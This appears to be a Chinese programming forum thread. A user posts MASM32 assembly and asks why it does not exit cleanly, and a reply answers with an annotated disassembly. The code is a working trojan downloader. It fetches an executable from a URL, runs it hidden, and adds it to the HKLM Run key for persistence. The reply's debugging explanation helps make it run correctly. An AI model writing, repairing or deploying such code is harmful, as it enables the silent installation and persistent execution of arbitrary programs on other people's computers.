为什么这个程序不能正常退出?
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\urlmon.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\urlmon.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
.data
URL db "http://127.0.0.1/xxx.exe ",0
EXE db "d:\xxx.exe ",0;
szRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run ",0
szRegValue db "DownLoader ",0
.code
start:
invoke URLDownloadToFile,NULL,addr URL,addr EXE,0,0;
invoke WinExec,addr EXE,0;
_EnumKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME
invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr EXE,10 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_EnumKey endp
invoke _EnumKey,NULL;
invoke ExitProcess,NULL;
end start
[解决办法]
我把你的反汇编代码贴出来,你或许就清楚了。
00401000 > /$ 6A 00 push 0
00401002 |. 6A 00 push 0
00401004 |. 68 19304000 push 00403019 ; ASCII "d:\xxx.exe "
00401009 |. 68 00304000 push 00403000 ; ASCII "http://127.0.0.1/xxx.exe "
0040100E |. 6A 00 push 0
00401010 |. E8 67000000 call <jmp.&urlmon.URLDownloadToFileA>
00401015 |. 6A 00 push 0 ; /ShowState = SW_HIDE
00401017 |. 68 19304000 push 00403019 ; |CmdLine = "d:\xxx.exe "
0040101C |. E8 55000000 call <jmp.&kernel32.WinExec> ; \WinExec
00401021 |$ 55 push ebp
00401022 |. 8BEC mov ebp, esp
00401024 |. 83C4 F0 add esp, -10
00401027 |. 8D45 FC lea eax, [ebp-4]
0040102A |. 50 push eax ; /pHandle
0040102B |. 68 24304000 push 00403024 ; |Subkey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run "
00401030 |. 68 02000080 push 80000002 ; |hKey = HKEY_LOCAL_MACHINE
00401035 |. E8 4E000000 call <jmp.&advapi32.RegCreateKeyA> ; \RegCreateKeyA
0040103A |. 0BC0 or eax, eax
0040103C |. 75 20 jnz short 0040105E
0040103E |. 6A 0A push 0A ; /BufSize = A (10.)
00401040 |. 68 19304000 push 00403019 ; |Buffer = 1.00403019
00401045 |. 6A 01 push 1 ; |ValueType = REG_SZ
00401047 |. 6A 00 push 0 ; |Reserved = 0
00401049 |. 68 52304000 push 00403052 ; |ValueName = "DownLoader "
0040104E |. FF75 FC push dword ptr [ebp-4] ; |hKey
00401051 |. E8 38000000 call <jmp.&advapi32.RegSetValueExA> ; \RegSetValueExA
00401056 |. FF75 FC push dword ptr [ebp-4] ; /hKey
00401059 |. E8 24000000 call <jmp.&advapi32.RegCloseKey> ; \RegCloseKey
0040105E |> C9 leave
0040105F \. C2 0400 retn 4
00401062 . 6A 00 push 0
00401064 . E8 B8FFFFFF call 00401021
00401069 . 6A 00 push 0 ; /ExitCode = 0
0040106B . E8 00000000 call <jmp.&kernel32.ExitProcess> ; \ExitProcess
我想这也许是编译器的问题吧?
_EnumKey这个子函数按照编译器的安排,如果按我们写代码的意思的话,它会被执行两次。但实际上它在ret的时候就已经返回到系统领空去了,所以无法正常退出。